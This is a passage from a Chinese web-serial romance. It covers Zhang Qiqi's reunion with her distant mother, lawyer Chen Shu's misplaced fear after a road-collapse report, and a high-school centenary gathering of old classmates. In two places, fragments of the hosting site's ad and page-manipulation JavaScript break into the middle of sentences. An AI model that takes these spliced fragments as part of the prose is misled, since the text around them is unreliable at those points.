“嗯,发给你了……” 方宜搜索了一下,点进去对方的个人主页,正打算细细翻一翻的时候,电脑页面上有新的消息进来,她切开页面看了一下,整个人顿时如丧考妣,是老板发过来的消息,案件资料! 她神色恹恹地叉掉微博页面,认命地埋头工作起来。 * 另一边,出租车行驶在京照市的国道上,张期期摇下车窗望着窗外的景色,此时前方路口变换成红灯,车子缓缓减速。 张期期看着不远处的金河湾广场,广场旁这个点开着的商店应该门庭若市才对,但现实却是商店门前人数寥寥无几,甚至有些商店大门紧闭,上面张贴着红底黑字的转租告示。 记忆中这里是很热闹的,那年他们一行人就是在这里学的自行车。 “师傅,金河湾这里现在这么落魄的吗?”张期期忽然道。 开车的司机瞥了一眼,淡淡道:“现在大家都去新建星缘大厦、兰亭大厦那里的商都玩,这边慢慢跟不上时代了,自然就落魄了。十年前金河湾这边可是最繁华的一带呢。” 绿灯亮起,汽车开始加速行驶起来,将金河湾远远地抛在身后,一如岁月奔流不息地往前走着,将记忆中的青涩年华抛在岁月深河处。 往前行驶是离开京照中心,前往郊区机场的路线,张期期任由窗外的风吹乱发丝,她手肘支在窗沿上留恋地看着和记忆中似像非像的城市。 噔噔噔——是手机发出震动的声音。 张期期犹豫了一下,如今会打她电话的人很少很少,她手机里的通讯录甚至不超过五个人。她从斜挎包中摸出手机,手机屏幕上显示着“妈妈”。 张期期愣了片刻,才接通了电话。 “妈……” 因为开着车窗,电话那头的戚和风甚至没有听到这声晦涩干哑的喊声。 【期期,我回京照市了,你有空吗?回来一趟吧。】 她妈妈居然回京照市了?张期期十分诧异,除了当年姥姥去世时,她通知妈妈,妈妈才从英国赶回来,但处理完姥姥的后事之后,她妈妈很快就离开了,后续的一些事情都是她在处理。 多年前,她原本以为她妈妈去了英国其实也没什么要紧的,她有电话可以联系,她们之间的母女之情并不会受到任何的干扰。 然而……事实却不是这样的,或许是因为错过了很多年的时间,她妈妈变得急迫,每每她打过去的电话,说没两句,她妈妈就表示很忙,要去训练、排演、排练。 久而久之,她们之间好像就没有什么话谈了一样,关于戏剧上的事情她不懂,而关于她的生活近况,她妈妈没时间问。 纵然是亲如母女的身份,这世界上任何人的生活都不是绑在一起的。每个人都要向前走。 【期期?】 张期期回过神来,“我现在就在京照。好……我现在就过去。” 她挂断了电话,看着对方发过来的地址,道:“师傅,不好意思,机场我不去了,您送我到这个地址吧。”她将新地址告知了出租车司机。 * 身后的出租车扬着尾气离开,张期期攥着斜挎包看着眼前的这栋小别墅,复古风格的外壁墙,墙边种着一棵高大的三角梅,玫红色的花朵郁郁葱葱挤满了枝头,风吹过,花朵洋洋洒洒地落了下来,铺洒在地上点缀着青石板路。 这栋小别墅是当年她爸妈离婚时,划到她妈名下的房子之一。 张期期走过去按了按门铃,来开门的是张洁莉张阿姨,对方热情地拥抱了她一下,“期期!好久不见哦……长大变成大美女了哦……” “张阿姨。好久不见。”张期期微笑着道,她微微探头望向张洁莉的身后,客厅玄关处空无一人,“我妈妈呢?” “哦,你妈妈呀,在楼上练舞房呢。”张洁莉笑着将张期期拉进去,推着她坐在客厅的沙发上,又道:“你等会儿,我去把你妈妈叫下来。” “好。谢谢阿姨。” 张期期安静地坐在沙发上,客厅右侧是一整面的落地窗,隔着玻璃,夏日的燥热被隔绝在外,躺在地上的三角梅花被日头晒得恹恹的。 半响后,张洁莉一个人面色尴尬地走了下来,她坐在张期期的身边给她倒了杯温水,“期期,现在这个点是你妈妈的训练时间,可能要等多半个小时她才结束。” 早有心理准备的张期期微微笑了笑,并没有露出失望的神情,其实她是知道的,知道这个点就是她妈妈每日训练的时间。 “嗯,没事……”她道。 “哦,对,期期,你妈妈说让你在这住下来吧,别回鹿海市了。”张洁莉拉起张期期的手牵住,又拍了拍她的手背,柔声道:“再说,鹿海市那边你姥姥已经去世了,你那几个舅舅又不做人,回去了也没什么意思。就在这住下来吧,这也是你家,我们接下来大概会好长一段时间呆在京照市。” “期期,你不要怪你妈妈,她太急切了,她对自己的要求也很高……不是故意冷落你的。” 张期期扬起笑脸,“没事,张阿姨我都长大了,能理解的。” 那年她乍然离开京照市,前往鹿海市时虽然是抱着期望和勇气的,但到底内心还是惶惶不安,十几年慈爱的父亲突然面目可憎起来,她惊恐万状,所以频频打跨国电话想要寻求妈妈的安慰,只不过得到的都是敷衍和冷淡而已。 如今她早就习惯了,也不再抱有期待,所以接受良好。 张洁莉眼底复杂,“期期真是乖孩子,阿姨带你去楼上挑个房间住吧。你等会儿可以休息一下,晚点我们出去外面吃饭。” …… 张期期挑了一个朝南、拥有小阳台的房间,她将斜挎包放在房间的柜子上,随后走到小阳台上的躺椅坐下。 阳光真明媚啊…… 这个季节时间段是鹿海市漫长的雨季,虽说已经习惯了水雾淋漓的日子,但到底还是有阳光的地方让人心情更加舒畅一些。 所以,她要留在京照吗?留在这座她长大又逃离、熟悉又陌生的城市吗?这里有着厚重的青涩回忆,这些回忆又在年华的消逝下变得让人酸胀疼痛,她有勇气继续留在这座城市吗?张期期一时间也想不清楚。 * 下午四点多,戚和风才结束了高强度的训练,浑身热汗的她洗了个澡收拾一番之后才下了楼,张期期、张洁莉已经坐在客厅等着了。 岁月仿佛在戚和风的身上显得格外地仁慈,比起九年前的美艳、柔和、丰韵,如今的她眼神反而更显清明和锐意,连带着她整个人看起来比同龄人都年轻不少。 戚和风微微笑道,“期期,不好意思啊,让你等妈妈这么久。饿了吧,我们现在就出去吃饭。” “没事,妈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妈,我在房间里睡了一觉,没等多久。”张期期也笑着道。 一行三人由张洁莉开车,前往星缘大厦一楼的粤菜馆,张期期到了目的地才发现并不是只有她们三人。 “老师……”坐在靠落地窗旁的那张圆桌上一名年轻男人笑着朝她们招了招手。 张期期脸上挂着礼貌的笑容,跟在她妈身旁坐下,戚和风笑着道:“期期,你还有印象吗?这是你张阿姨的学生,你见过的。” “你好,我叫霍玖。我们以前在市中心大剧院见过……” 张期期眼眸微转,笑着点点头,“是你啊……”其实她并不记得了,记忆中似乎有这么一个人,但对于对方的面容,她早就模糊了。 “对,是我,没想到你还记得……” 霍玖看着张期期的眼底闪着微光,多年前一袭小黑裙的小姑娘已经很漂亮了,但他没想到多年后的她变得更漂亮了,眼底的稚嫩和朝气散去,变得沉静温雅。 粤菜馆的服务人员上了菜,霍玖热情地和张期期推荐着菜色。 一旁的戚和风、张洁莉看着两个小年轻仿佛聊得不错的样子,均是意味深长地笑了笑,郎才女貌,看起来非常相配。 * 另一边—— 星缘大厦十七楼,元图高科技有限公司。 “没错!我们准备起诉对方派人窃取了我们公司新发布产品的核心数据,证据的话也有,我们公司的监控设备拍下了对方的行动……” 陈恕闻言,点了点头,“好,你们这边的证据到时候得拷贝一份给到我们律所……现在有非常重点的一点就是如何证明这个人就是杨氏科技派过来的,只得证明这一点,才能起诉杨氏科技。” 元图科技的总经理气得拍了下茶几桌面,“一想就知道是他们,除了他们还能有谁?” 陈恕无奈地笑了笑,“这话在法庭上可是没有任何说服力的。还是得讲究证据……” “啧……我想想先……” 陈恕神色淡淡地看着陷入沉思的元图高科技有限公司的总经理,他的视线随意瞥了一眼,落在了一旁静音着的超薄电视上,电视上正在播发着国内各地突发的新闻事件。 【据鹿海市宣传部消息,今日下午15点07分,鹿海主干国道往石塘镇方向的道路发生路面塌陷事故,多辆汽车掉落,并引发大火。 接报后,应急管理部派出工作组赶赴现场,指导救援处置工作。目前,救援工作仍在进行中……】 鹿海市主干国道往石塘镇方向……道理坍塌…… 陈恕瞳孔一缩,面色骤变,他去过石塘镇,自然知道从鹿海市机场到石塘镇必须走这条道路,下午15点07分……按照期期离开金颂律所的时间,再加上飞机飞行时间,她下了飞机从机场回石塘镇很有可能就是在这个时间点左右出现在这条坍塌的道路上。 意识到这一点,他顿时坐不住了,快速道,“李总,后续的事情我们改日约个时间再谈,抱歉,我突然想起来有点事必须去处理一下。真是非常抱歉。” 见陈恕非常焦急的样子,李总觉得十分稀奇,倒也没有在意他的失礼,便道,“好,没事,我们改日再谈。” 陈恕颔首,拿起公文包离开了元图高科技有限公司,电梯在缓慢地行驶着,陈恕咬着牙眼神暗暗地催促着…… 走出电梯时,他忽然想起来自己是有期期的微信和电话号码的,于是他放慢脚步,边走边发微信给她。 等了片刻,微信并没有人回复,陈恕眉心皱起,他知道正常来说,如果不是正好拿着手机的话,是不会那么快回复的,但他就是有些焦躁不安。 微信没有回复,陈恕拨打了她的电话号码,与此同时,一串手机铃声响起…… 巧妙的巧合,陈恕愣了一下,下意识循声望过去,不远的拐弯处是商都的卫生间,一个年轻的男人拿着手机站在附近,铃声正是从他手中的手机里发出来的。 陈恕瞥了一眼便收回视线,然而下一刻他蓦然愣了一下,那个年轻的男人他见过的,多年前在市中心的大剧院门口他见过他,就是他来接期期和期期的妈妈…… 对方的手机铃声一直响着,迟迟没有接电话,陈恕脑海中闪过一个推测,他颤抖着指尖挂断了电话,同一时刻,对方响着的手机铃声也安静了下来。 他拿着的是期期的手机吗? 陈恕沉默着站在原地,片刻后,一个熟悉的身影从拐角处的卫生间走出来,是期期…… 她没事! 这是浮现在他脑海里的第一个念头,她没事,幸好没事。 视野中的期期正低着头用纸巾擦拭着湿了的双手。她的身后还跟着两个女人,陈恕的记忆力很好,几乎是一瞬间就认出其中一个女人是期期的妈妈。 …… “给,期期。你的手机……刚刚有人打电话给你。”霍玖笑着将手机递给张期期,“不过对方已经挂断了。” “哦,好,谢谢你了。”张期期伸手接过手机,刚刚她们吃完饭走过来卫生间准备洗个手的时候,她突然发现自己的手机落在粤菜馆里了,是霍玖回去帮她拿的。 “小事情,不用谢。” 张期期朝他微微笑了笑后,边走边低头摆弄着手机走在最前方,是陈恕打过来的电话……她顿了顿,又看见微信上面显示着新消息,她打开后发现也是陈恕发过来的信息。 【你还好吗?没出事吧?】 张期期:??? 虽然不明白陈恕为什么突然这么问她,但她犹豫了片刻之后,指尖微动,回复道,【我没事。】 她的身后,攥着手机的陈恕感受到掌心细微的震动,垂眸看着对方发过来的信息,眼底晦涩不明。 他的身前,戚和风、张洁莉带着笑意的话语隐隐约约地传过来,“两个孩子年岁相当,真的非常合适呢,小玖还是在我们面前长大的,这孩子很可靠……” “是啊,我也是这么觉得的。看他们刚刚聊得还不错……可以试着谈一谈呢……” …… 他们的身影渐渐消失在陈恕的面前,陈恕的胸腔微微震动,喉咙间溢出了一阵笑声,苦涩又满是自嘲。 他方才所有的慌乱和恐惧瞬间成为了笑话,真是该死的可笑啊!他在担心她的时候,她却在相亲…… 她根本没有回鹿海市,却骗他说她订了机票回去,是那几日他让她去他家里,她很排斥吧?排斥到不惜说谎话也要避开他吗? * 金颂律师事务所。 陈恕面无表情,眼神却有些恍惚地推开律所的大门,他沉默着往他办公室的方向走去。 员工办公区的方宜等人诧异地望着面前走过的男人,他们老板仿佛受到了巨大的打击一样,这是怎么了?众人面面相觑,这真的是他们那个在法庭上永远运筹帷幄的老板吗? 楼梯上传来了三步并作两步的急促脚步声,周嘉先神情慌张地跑下来,抬眸一看陈恕这副样子,心中顿时一紧,难道陈恕也知道了?他也看到新闻了? 看来绝对是了,否则这个点他应该还在和元图高科技有限公司的总经理谈话,不可能那么快回来的…… 周嘉先一把攥住陈恕的手臂,转头又朝着助理小林道:“快给你老板订张去鹿海市的机票,越快越好。” 助理小林愣了下,怎么又是鹿海市,但他看周律师一副出大事的样子,立刻道:“好的,我这就订机票。” 方宜等人满头雾水,到底怎么了?让两位大老板都露出平常难以见到的神色,应该是出大事了吧?难道是关乎他们律所生死存亡的大事? 周嘉先拉着陈恕的手臂,准备往外走,“我送你去机场。” 一拉,没拉动。 周嘉先蹙眉回头看向陈恕,目光露出不解。 陈恕将手挣脱开,朝助理小林道:“小林,机票不用订。” 助理小林:啊?? 周嘉先眉头狠狠皱起,“陈恕?” “她没回去。”陈恕面无表情道。 周嘉先闻言,眼神疑惑,陈恕再次点点头,肯定了方才他说出口的话,没回去!周嘉先一看,顿时大大地松了一口气。 见他如此,陈恕嘴角露出一丝讥讽的笑意,“她去相亲了……” 先哥,还有他,都像个跳梁小丑一样,那些掏心掏肺的关心她根本就不需要。陈恕心中嗤笑一声。 相亲?相亲!啊这…… 周嘉先目瞪口呆,上上下下打量了陈恕一番,再想到他刚才恍惚的眼神,他明了了,大概是陈恕看见了鹿海市路面塌陷的事故新闻后,又撞见了期期相亲的场景。 这一刻,他忍不住投去了怜悯的眼神,这情绪起伏得多大起大落啊!啊不,没有起,只有哐当哐当往下的落。 先哥在可怜他…… 陈恕紧紧抿着唇,恼羞成怒地绕过对方快步往楼上走去。 助理小林弱弱举手,小声问道:“周律师,机票到底还订不订了?” 周嘉先笑了笑,“啊……这个啊,倒是不用订了。” …… 113. 第 113 章 - 夜幕低垂,星河闪烁。 此时已经是深夜时分,微微吹拂着的夜风带着些许凉意,张期期整个人倚靠着陷入放在阳台的躺椅上,她的身上盖着一张薄薄的毛绒毯。 眼睛干涩,后脑勺传来一阵阵钝痛的感觉,心跳的频率也在渐渐攀升,她控制着身体有节奏地呼吸着,尽量缓解因为睡眠问题带来的不适感。 张期期尽量放空着大脑,目光毫无焦距地望着星辰点缀着的夜空,每晚上入睡前,她都仿佛要迎接一场战役一般。刚才她已经在床上躺了近两个小时了,却始终睡不着,因此只能换到阳台上来,希望换个位置状态会好一点。 如果还是睡不着的话,她再换回床上,睡觉这件事对她来说,可真忙啊! 躺椅是可以微微晃动的,张期期躺在上面偶尔动一动,随着晃动的节奏缓缓闭上双眼,她的身体是疲倦的,但脑子还在兴奋着,一些画面飞快地浮现又隐去,隐去又浮现。 她捂着跳动的胸口,长长地呼出一口气,另一手认命地拿过手机看了一下时间,凌晨两点多了……她指尖仿佛有自己的意识一般,又打开了微信页面,点进去陈恕发过来的信息页面,最新消息还是她发过去的【我没事。】 三天了,自那天过后,他们再无联系,张期期心道,大概得等到案件有新一步的进展,陈恕才会发给她吧……也是,现在的他们之间也只剩下了公事。 阳台外的树冠随着夜风吹着发出了沙沙沙的声响,恍如一首白噪音、催眠曲,在夜色渐渐消逝,天色开始缓慢地亮起时,张期期的意识才渐渐陷入平静中。 好在这栋小别墅坐落于远离闹市区的偏僻地段,晨曦的微光渐渐亮起时,张期期沉沉睡着,一直到日头开始有些晒的时候,她才蹙着眉头醒来。 耀眼的阳光落入她的眼,她伸手挡住双眼,拿过一旁的手机看了一眼,时间是上午的十点了。张期期坐直身子,茫然地看了一眼四周,她真的在阳台的躺椅上睡着了,回想了一下昨晚迷迷糊糊看到的时间点,她估摸着算了一下,她居然还睡了五个小时呢…… 这么一想着,张期期觉得自己今天的心情都好了许多,她拍了拍躺椅,这可真是个睡觉的好地方! …… 洗簌收拾完,张期期换了身衣服下楼,张洁莉呆在客厅看电视,而戚和风并没有见着人影。 听到细微的脚步声,张洁莉将电视按暂停,转过头来笑着说,“期期,醒了啊!早饭在锅里热着,去端出来吃吧。” 张期期点头,“张阿姨你们吃了吗?我妈妈呢?” “我们都醒得比较早,已经吃过了,你妈妈跑步还没回来……” “哦…” 张期期将锅里还闷着的早餐端了出来,玉米、南瓜、豆浆,是杂粮早餐,张洁莉、戚和风都要注意身材管理,因此在饮食上格外地清淡,这一点倒是和现在的张期期一样。 她低着头,边吃早餐,边刷着手机页面,突然微信叮的一声,一条公众号发布的小新闻跳了出来。 这个公众号…… 张期期顿了顿,是京照一中的官方公众号,前几天她们和霍玖在粤菜馆吃饭的时候,霍玖提起过她妹妹就在京照一中读书,还是学生会对外选宣传部的成员,现在在管理着学校官方的公众号。 因为她也是京照一中的,所以霍玖讲了蛮多一中的改变,嗯……都是从她妹妹那里听来的。 她当时鬼使神差地搜索了一下,也关注上了京照一中的官方公众号,虽然严格意义上来说,她不能算一中的毕业生,毕竟她后来直接离开了,没有参加高考,没有和大家拍毕业照。 张期期指尖微动,点进去跳出来的讯息,她将文章浏览到底,神情微顿。是……是京照一中新校区二十周年校庆,也是建校一百周年校庆啊!京照一中诚邀各届优秀毕业生返校参加校庆。 那一天京照一中也不限制人员的进出,只需要登记就可入校参观,文章底下的评论叠起了高高的楼。 张期期笑了笑,现在都是这种公众号模式了,以前他们那个时候还是贴吧模式呢,贴吧……她笑了笑,几年前她尝试着登陆过一次,只是很可惜,贴吧早就关闭了。 视线再次落在“优秀毕业生”的字体上,若是当年没有发生那些事的话,她顺顺利利参加高考,顺顺利利毕业,不出意外的话,大概也能算得上是“优秀毕业生”了吧…… …… 京照一中校庆啊…… 夏日炎炎下,燥热的吹起少女的裙摆,发丝随风扬起,少女一蹦一跳地走在学校林荫道上,不远处的湖面上波光粼粼,神兽鸭子嘎嘎嘎地叫着…… “期期!” 穿着校服的少女听到有人在呼唤她,她张扬地大笑着,跑向她的伙伴们,一向神色冷淡的少年正微笑着,眉眼飞扬的少年大幅度地招手,沉静微笑的女生默默看着她,大热天攥着保温杯的男生眼底温和…… 她跑向了他们,一群人嘻嘻哈哈相伴着往前走,离她越来越远。他们的身影在她面前慢慢褪色…… “期期。” 耳边传来呼唤着她名字的声音,方才见到的那一幕犹如阳光下的泡影一样顷刻间消失无踪,她下意识地回过头……展现在她眼前的是陈恕神色冷淡,林听眼尾低垂,先哥一脸温和…… 这一刻张期期甚至有一些分不清虚实,她下意识想张扬地扬起大笑,然而在触及到只有三人时的画面,她瞬间心底一凉,仿佛一盆冷水直浇在她的心头上。 少了一个人,兰亭。 周嘉先见张期期愣愣地站在那里看着他们,便抬脚走过去,“期期!没想到你也来了,我刚还在想你会不会过来呢?” 张期期脸色微红了一瞬,她过来其实名不正言不顺,“嗯,就过来看一看。” “是该回来看看,听说变化还蛮大的,不知道我们班的同学有多少回来看的,大家都是京照本地人,如果没在外地的话,应该还是会回来看看的吧。”周嘉先笑着道。 林听、陈恕慢慢走了过来,站在离周嘉先和张期期两米远的位置,看起来像是一起过来的,但却又隔着一段微妙的距离。 两人均不开口,张期期也微微垂着眸,气氛格外凝滞沉闷。 周嘉先心中无奈地叹了一口气,提议道:“一起进去逛逛?” 张期期摇了摇头,原本周嘉先讲着他们班的同学或许大部分会回来时,她就在心里打退堂鼓了,当年她匆匆忙忙就走了,班里的同学一定会有很多疑问,她怕万一遇见的话,他们有可能会问起来,但……她不想提起了…… “我就不……” 她的话还没说完,陈恕突然开口道:“走吧,顺便探望一下张老师吧。”他说完,率先往保卫处走去,拿起笔在表格上将几人的信息全部登记上了。 周嘉先的手掌按在张期期的肩膀上,力道带着她往里面走,林听抿了抿唇,沉默地跟上了。 …… 学校内到处洋溢着热闹的气息,各个年龄层次的毕业生都有,有的身边或携带着丈夫、或携带着妻子、儿女,总之喧嚣不已。 校道两旁的绿植还挂上了色彩鲜艳的彩带,树下的人行道上摆了一些摊子,全都是京照一中的文创物品,T恤、扇子、摆件、校徽、保温杯等等…… 张期期、陈恕、林听三人走在一起,仿佛与周遭欢悦的气氛格格不入,周嘉先一脸无语,一路上都靠他一个人调节气氛他也是很心累的啊! 他在一个文创摊位面前停下,挑了个印着校训的保温瓶,笑道:“哎……这个对我来说还是蛮实用的。” 周嘉先付了钱,又对身后的三人道,“你们不挑点东西做纪念?” 先哥都发话了,他们三人看着也就都随意地挑了一样。 “陈恕。” “林听。” “期期!!” “先哥。” 身后传来特别兴奋的喊声,周嘉先几人循声望过去,拥挤热闹的校道上挤出来一群熟悉的人,王思、蒋文、关宇、侯蕊、雷婷等等…… “好久不见啊!先哥。” “来的时候我就在想会不会遇到大家啦……” …… 众人一阵寒暄,说话的大多数是周嘉先和王思他们,他们正如当年年少一样,还是那么活跃和热情。 寒暄过后,侯蕊、雷婷的视线不由地落在了张期期身上,也不只是她们两人,只是其他人目光会更隐晦些而已…… 当年陈恕是保送去了德国,他们都知道,但是期期呢,没听说她有参加竞赛,可是她偏偏在高考前不久离开了,甚至连当时的先哥和林听都不知晓她的去向。 而现在,再看期期、陈恕和林听三人之间,氛围实在太奇怪了。但多年的岁月增长多多少少还是教会了曾经年少的他们如何心有灵犀地不去过问旁人不愿提及的生活。 寒暄就好,祝福就行,便是拥有年少情谊的他们如今只能做的事情。 一群人前前后后走着,重游故地,时不时说起以前的事情,大家哈哈大笑,张期期、林听也跟着嘴角微微扬了扬。 十点多时,陈恕和周嘉先提出要暂时离开一会儿,他们两人是作为那一届“优秀毕业生”之二要给学生们演讲。 蒋文笑着道:“我们去看看张老师吧,今年这一届之后他就退休了。” 这个提议得到了众人的响应,张期期眼底闪过疑惑,张老师……是班主任张扬老师吗?可是当初他不是因为脊椎的问题住院了吗?难道后来他好了之后重返学校了? “你不知道吧?”林听走在张期期身边,神色冷淡。 张期期垂下眸,“什么?” “当初陈恕离开后,陈岩夫妻不知道为什么还频频来学校闹事,后来我们才知道原来曾老师的儿子也是陈岩的儿子。” 这件事,张期期是知道的。 林听继续道,“再加上……兰亭出事了,所以曾老师辞了工作,带着曾逸飞离开了,那时候张老师扛着病体回来的,坚持把我们带到了高考的考场门口。” 张期期攥紧了掌心,这些都是发生在她离开之后的事情,此刻她喉间仿佛被一口气噎住了一样难受。 她不知道该说什么,又能说什么,好像说什么也都没用了……于是她沉默地垂着眉眼。 林听嘴角扯了扯,见张期期难受的样子,她本来应该高兴的,但却也觉得心情憋闷起来,她无法原谅她一走了之,更无法不将兰亭的死怪在她的身上,但似乎怪在她的身上,找到可以怨恨的人了,她也还是不畅快。 别扭、烦躁的情绪交织在她的心中,她只能选择眼不见为净,快步走到了人群的最前面。 张期期抬眸扫了一眼,又将视线落了下来,一旁见林听和张期期说完话的侯蕊和雷婷也走了过来,两人一左一右地走在她身边。 侯蕊眉眼带着温和的笑意,“期期,这些年过得怎么样?还好吗?”她不过问具体的情况,只想问问她过得好不好而已。 张期期点点头,微微笑着小声道:“挺好的。”她撇了一眼随着长大,面容更加明艳大气,甚至美得让人乍一眼觉得心惊的侯蕊。 侯蕊的神情让她觉得有些陌生,记忆中的她永远是一副盛气凌人、气势十足的样子,她还从见过她笑得温润柔和。 “真的好吗?我看你瘦了很多呢。”雷婷挽着她的胳膊反驳。 她与另一边的侯蕊视线相撞了片刻,彼此都能看到对方眼中的怀疑,因为期期不仅仅是瘦了,精神看起来也不太好,没什么活力。 “是吗?”张期期佯装诧异地摸了摸自己的脸,借口道,“我减肥的效果这么明显……” 侯蕊&雷婷:…… ……当她们俩这么好骗的吗? * 年级办公室。 当张期期这一届重点一班学生蜂拥而入年级办公室的时候,张扬的脸上简直笑成朵花,其实也不是没有其他届的学生来看他,但不知怎的,他就是对这一届格外的有感情。 一群学生七嘴八舌地对着张扬好一顿寒暄。 王思哇呼一声,“张老师,现在不能叫你光明顶了,你都直接全光头了,不止头顶啊!” 张扬:…… 他额头青筋突突直跳,收回那句对这一届格外有感情的话。这一刻,他不由得怀疑自己是不是有受虐体质啊,就是因为这一届的学生太能折腾,导致他频频需要给他们擦屁股,所以他这是……擦屁股擦出了更深的感情来了? 张扬无奈地伸手捂住脸,开始赶人,“行了行了,这么一大群人挤在这里算什么事啊,看也看了,都出去玩吧。我还要备课呢!走走走……” 蒋文扒着办公室的门喊道,“张老师,我们过两年都要三十了,您还叫我们出去玩,玩啥呢……” 张扬白了他一眼,快三十的人还这样扒着门说话吗? 他看着身影慢慢消失在他眼前的那一届学生,视线停留在了张期期、林听身上好一会儿,最终沉沉地叹了一口气。 人生要怎么往前走,都只能靠她们自己了,他只是个老师,传道授业解惑,却也无法干涉她们的选择。 …… 探望过张扬之后,一群人找了湖边的亭子三三两两坐下聊着天,他们要么面目狰狞地吐槽工作、吐槽同事、吐槽上司,要么一脸生无可恋地说着被家里人催婚、相亲的事情。 “哎……你们说这几只神兽是不是我们当年的神兽啊,还是说是我们当年神兽的孩子?”王思突然指着湖面上嘎嘎叫的鸭子问道。 “啧……让我仔细看看啊!”蒋文伸长脖子瞪大眼睛看着。 好半响,顾佳熹弱弱举手问道:“怎么样?看出来了吗?” “啧,这好像都长得一个样啊!” “不是……话说鸭子的寿命有这么长吗?” 一群人乱糟糟的,闹起来好像和高中时一模一样,那些长大后社畜的怨念、成家立业的急迫感突然间消失了,恍惚中他们又回到了笑笑闹闹、怼天怼地的中二时期。 没等多久,陈恕和周嘉先便回来了,他们大学毕业后回了京照时不时也会回来一中和班主任张扬坐一坐、聊一聊天,所以这一次没去年级办公室探望张扬也不是什么特别失礼的行为。 京照一中占地面积好几千亩,大家兴致上头将整个学校好好地重游了一遍,但当了好几年社畜、坐办公室的这一群人好像没有意识到他们的运动量早就超标了,所以等到这会儿坐在亭子上笑闹过后才陆陆续续喊着腿酸、脚酸。 周嘉先呵呵笑道,“我和陈恕订了包间,大家聚个餐吧。我们请客。还没到的同学,你们也在群里和他们说一声。” “好耶!” “哇,先哥、陈恕大气。” “走走走,逛了一早上,这阳光越来越晒了,顶不住啊!” …… 一群人立刻转场,陈恕、周嘉先定的包间离一中并不远,一群人走路过去十分钟就到了。大抵是因为今天是一中百年校庆,所以酒楼门口熙熙攘攘的,都是同届的毕业生趁着这次机会聚在一起。 周嘉先到了门口,看见这人流量,简直心有戚戚,还好他早早就定了包间,否则现在肯定没位置了。 高中时他们这个班级体足够的团结,也有一定的班级荣誉感,但班级里人数一多,大家还是各有自己的小圈子,所以此刻也是,众人都是拉了自己比较聊得来的、更为亲近的坐一起。 周嘉先一左一右地拉着张期期、林听坐在他的两旁,侯蕊扫了一眼张期期身旁的空位,转而坐在了林听的旁边。 王思、蒋文、关宇、雷婷、顾佳熹等其他人都顺着侯蕊的手边的空位一个个坐下去,最后这张桌子只剩下了张期期身旁唯一的空位。 去催促服务人员上菜的陈恕回来了,他瞥了一眼唯一的空位,神色自若地坐下。 周嘉先心里笑了一声,揶揄地朝着陈恕看了一眼,又说道:“陈恕,外面人那么多,什么时候给我们上菜。” 陈恕淡淡道:“酒楼人手够,五分钟后就能上了。” “那行,不至于大家等太久,啊,我肚子都有点饿了……” 坐在陈恕和周嘉先中间的张期期坐立不安,他们两人隔着她若无其事地说着话,也不嫌不方便的吗? 张期期微垂的睫毛颤了颤,侧身朝着周嘉先小声道:“先哥,要不我和你换个位置吧,你们好说话。” 周嘉先:…… 他余光瞥了一眼陈恕的表情,啊……果然变得很难看,他笑了笑,“不用换,也没啥话好讲了,都是工作上的事情,不讲了不讲了,难得和大家聚一次。” 蒋文捧场道,“就是!今天我们不谈工作了。” 王思哈哈笑道,“说起来,你们今天发现没有……以前冬天我们滑冰的斜坡那条路已经不给过了,一直是围起来的。” “真是好可惜,我们的学妹学弟们失去了校园冬日内的一项乐趣啊!” …… 在众人谈及的高中回忆里,所有人都跳过了一个人的名字,不知是无意识的还是有意识的,总之林听一直提着的心缓缓下落了,因为她不知道在此时此刻,如果乍然听到他的名字,她会不会失控到落泪。 大家都长大了,长成大人的模样,唯独她的少年永远十七岁,永远留在了最火热的夏季,独独留给了她一场永不再见的离别。 * 服务员将菜上齐后推着餐车离开了包间,又轻轻将房门关上了…… 张期期看着眼前的这一桌菜,发现有好几道较为清淡,是她可以吃的,她心里绷着的线缓缓松懈下来。大家聚餐,要是她什么都不吃,那就实在太扫兴了。 侯蕊转了一下可旋转的餐面板,硬是隔着两个位置拿着公勺舀了一勺麻辣豆腐放在了张期期的碗里,“期期,麻辣豆腐,你高中的时候最喜欢吃的,快吃……多吃点……” 只能隔着两个位置坐在期期的身旁时,她已经够憋闷了,现在有机会她当然想和期 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 期亲近一些。 “哦,好,好。侯蕊谢谢你。” 张期期看着碗底红白相间的麻辣豆腐,扬起嘴角笑了笑,侯蕊眼巴巴地望着她,她实在不好拒绝,毕竟这就是她当年喜欢吃的东西,要是拒绝,还得说些借口和理由。 她顿了顿,拿起勺子准备吃,吃一点点应该没事吧…… 将这一幕看在眼底的陈恕沉下脸,那日她痛得胃痉挛的画面还历历在目,现在又这么不顾念她自己的身体…… 烦躁和怒意在他的心中翻涌,都这么大了,还不会照顾自己,是得多痛她才会吸取教训…… 他沉着脸伸手过去将她的碗换到了他的面前,又把他的碗换给了张期期,面无表情道:“什么能吃,什么不能吃,你自己心里没数吗?” 侯蕊:?! 张期期小声抗拒道:“一点点辣的没事……” 陈恕扯了扯嘴角,见侯蕊脸上温和的笑容要垮掉了,她的目光露出了高中时那种锐利又嫌弃他的眼神,他便道:“侯蕊,麻烦你夹一下那边的清炒芦瓜。她吃那个。” 张期期闻言笑着朝侯蕊道:“谢谢侯蕊。” “好吧。”侯蕊心中的怒意便像气球漏气一样瘪了下来,转而夹了清炒芦瓜放在她的碗里。 雷婷偷偷扯了她一把,咬着耳朵小声道:“你就别操心了,看人家陈恕比你还要了解期期,让他去伺候期期去,这么想,是不是就没那么气了。” 侯蕊悄悄哼了一声,也行吧…… 一桌人聊累了都开始吃饭,每当有张期期能吃的菜从陈恕面前转过时,陈恕就会伸出手按住玻璃转台,用公筷夹了一些放在她的碗里,动作熟练到桌上的同学神情都变得意味深长起来。 就这熟练的操作,再加上一开始遇见他们时,他们之间奇怪的氛围,原本以为是分手了,现在看来是小情侣闹别扭而已。 然而做出这般体贴入微的动作的陈恕却是一脸平静,张期期攥着筷子紧了又紧,想开口说些什么,却又在瞥到他冷淡的眼神时说不出话来,只能默默垂眸吃着碗里的菜。 这时,包间门被推开了,是姗姗来迟的体育委员。 当年的体育委员边走进来边和同学们打着招呼,走过周嘉先这一桌时,余光正好看着到陈恕在给张期期夹菜。 他顿时眉眼一挑,走过去伸手拍了下陈恕的肩膀,笑声爽朗,“陈恕,下一次大家聚在一起,会不会是你和期期的婚礼啊?” “到时候记得邀请我们哈……” 